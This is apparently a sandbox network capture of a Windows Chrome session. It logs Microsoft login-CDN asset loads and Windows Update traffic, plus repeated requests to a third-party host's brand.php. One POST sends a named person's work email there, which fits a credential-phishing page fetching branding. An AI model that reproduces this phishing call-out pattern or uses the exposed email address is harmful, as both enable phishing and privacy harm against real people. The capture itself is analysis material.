2024-04-26 04:28:55 UTC	766	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:55 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 08 May 2020 12:39:06 GMT ETag: 0x8D7F34CCC610677 x-ms-request-id: 5ecc4e7e-501e-0057-2d92-9757a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T042855Z-1865489d5f4r69rrg7uwqa73hg0000000atg00000000zvb8 x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 04:28:55 UTC	15618	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 04:28:55 UTC	1556	IN	Data Raw: 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49710	13.107.246.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:55 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:55 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:55 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:07 GMT ETag: 0x8D79ED359808AB6 x-ms-request-id: 5c5303ab-401e-0036-5e92-973e83000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T042855Z-1865489d5f4s82vtkbvg5gx1hw0000000ar000000000xb16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 04:28:55 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49709	13.107.246.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:55 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:55 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:55 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:56 GMT ETag: 0x8D7B0072D292595 x-ms-request-id: d3544974-801e-0006-3092-971f92000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T042855Z-1865489d5f4r69rrg7uwqa73hg0000000az000000000enpr x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 04:28:55 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49714	13.107.246.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:55 UTC	376	OUT	GET /16.000.28595.2/images/favicon.ico HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:56 UTC	746	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:56 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 08 May 2020 12:39:06 GMT ETag: 0x8D7F34CCC610677 x-ms-request-id: 137e88ef-e01e-0078-3b92-974f8f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T042856Z-17644f8887fvnmt8f6f16dxvk800000003vg0000000071xk x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 04:28:56 UTC	15638	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 04:28:56 UTC	1536	IN	Data Raw: 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""333333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49715	192.232.216.145	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:28:56 UTC	345	OUT	GET /lh/brand.php HTTP/1.1 Host: iia-p.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:28:56 UTC	301	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:28:56 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Access-Control-Allow-Origin: * Cache-Control: max-age=0 Expires: Fri, 26 Apr 2024 04:28:56 GMT Vary: Accept-Encoding X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49722	23.34.16.106	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:29:02 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 04:29:03 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=95635 Date: Fri, 26 Apr 2024 04:29:03 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49723	23.34.16.106	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:29:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 04:29:03 UTC	773	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-CID: 7 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 8BFC17DD061B46CAAD2B2AEB7B19C3D8 Ref B: CH1AA2040901011 Ref C: 2023-07-21T06:04:00Z X-MSEdge-Ref: Ref A: 1421F39FA7224BE199CC2F2C3DD24574 Ref B: CHI30EDGE0415 Ref C: 2023-07-21T06:04:00Z Content-Type: application/octet-stream X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=95696 Date: Fri, 26 Apr 2024 04:29:03 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-26 04:29:03 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49724	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:29:05 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4DtlfTdBg+VGuzl&MD=4p7fBm1P HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 04:29:05 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cdf840ca-6c28-42ba-83bf-c3d5a5d93618 MS-RequestId: ccd48e5b-4d7a-440d-b4de-7a2791f8d5b2 MS-CV: ZbzqU08j4UKqEUpu.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 04:29:05 GMT Connection: close Content-Length: 24490
2024-04-26 04:29:05 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-26 04:29:05 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49725	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:29:43 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4DtlfTdBg+VGuzl&MD=4p7fBm1P HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 04:29:43 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 133f2df6-03dc-47ba-8b6f-526f34f245de MS-RequestId: 7027b508-9345-40fd-9f23-8951e6df4ce0 MS-CV: GuQ4pBM9fkGSGWH8.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 04:29:42 GMT Connection: close Content-Length: 25457
2024-04-26 04:29:43 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-26 04:29:43 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49728	192.232.216.145	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:30:07 UTC	580	OUT	POST /lh/brand.php HTTP/1.1 Host: iia-p.org Connection: keep-alive Content-Length: 49 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:30:07 UTC	49	OUT	Data Raw: 65 6d 61 69 6c 3d 73 75 7a 61 6e 6e 61 2e 73 69 6d 6f 6e 6f 76 69 63 25 34 30 6a 6a 73 77 61 73 74 65 2e 63 6f 6d 2e 61 75 26 62 61 72 6e 64 3d 31 Data Ascii: email=suzanna.simonovic%40jjswaste.com.au&barnd=1
2024-04-26 04:30:08 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:30:07 GMT Server: Apache Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade Cache-Control: max-age=0 Expires: Fri, 26 Apr 2024 04:30:07 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-26 04:30:08 UTC	46	IN	Data Raw: 32 33 0d 0a 7b 22 6c 6f 67 6f 5f 69 6d 61 67 65 22 3a 6e 75 6c 6c 2c 22 62 67 5f 69 6d 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 23{"logo_image":null,"bg_image":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49729	192.232.216.145	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:30:09 UTC	345	OUT	GET /lh/brand.php HTTP/1.1 Host: iia-p.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:30:09 UTC	301	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:30:09 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Access-Control-Allow-Origin: * Cache-Control: max-age=0 Expires: Fri, 26 Apr 2024 04:30:09 GMT Vary: Accept-Encoding X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49731	192.232.216.145	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:30:28 UTC	580	OUT	POST /lh/brand.php HTTP/1.1 Host: iia-p.org Connection: keep-alive Content-Length: 49 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
